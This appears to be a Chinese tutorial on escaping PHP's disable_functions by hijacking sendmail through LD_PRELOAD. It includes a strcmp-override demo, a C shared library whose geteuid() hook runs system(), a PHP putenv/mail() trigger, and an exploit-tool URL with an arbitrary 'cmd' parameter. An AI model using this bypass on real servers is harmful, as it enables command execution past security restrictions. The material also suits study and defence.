利用条件
php未禁用putenv,mail函数
利用原理
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,利用LD_PRELOAD劫持sendmail程序,再用mail函数来触发就能实现我们的目的
LD_PRELOAD
LD_PRELOAD是Linux系统的下一个有趣的环境变量:我们可以利用此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。
下面用简单的代码。来理解下
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return 0;
}
printf("Invalid Password!/n");
}
保存上述代码为a.c,并编译为a
gcc a.c -o a
以上程序很简单,根据判断传入的字符串是否等于”password”,得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数,代码如下(保存如下代码为b.c)
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack functio n invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
编译以上代码成为一个动态共享库,让a程序调用我们自定义的strcmp函数
gcc -fPIC -shared b.c -o b.so
通过LD_PRELOAD来设置它被优先调用
export LD_PRELOAD="./b.so"
当我们再次运行a程序。发现无论输入什么都返回密码正确,因为程序调用了我们自定义的strcmp字符串比较函数,我们自定义无论输入什么,都返回0表示正确
构造POC
1.编制我们自己的动态连接程序,让php的mail函数调用/usr/sbin/sendmail。而sendmail又会调用我们自定义的恶意函数(x.so),就造成了命令执行
so代码:
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
FILE*fp = fopen("/tmp/2.txt","w");#这里是命令执行的地方
fclose(fp);
system("mkdir /var/www/html/test");
}
int geteuid(){
FILE *fp1=fopen("/tmp/2.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return 552;
}else {
payload();
return 552;
}
}
将上述代码保存为a.c
编译代码如下:
gcc -c -fPIC a.c -o a
gcc -shared a -o a.so
2.编写php文件,通过putenv来设置LD_PRELOAD,然后执行mail函数触发利用代码
vim 1.php
<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("","","","","");
?>
3.访问php文件,查看tmp是否存在2.txt
exp
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.100/bypass_disablefunc.php?cmd=[你要执行的命令]&outpath=/tmp/xx&sopath=[.so的绝对路径]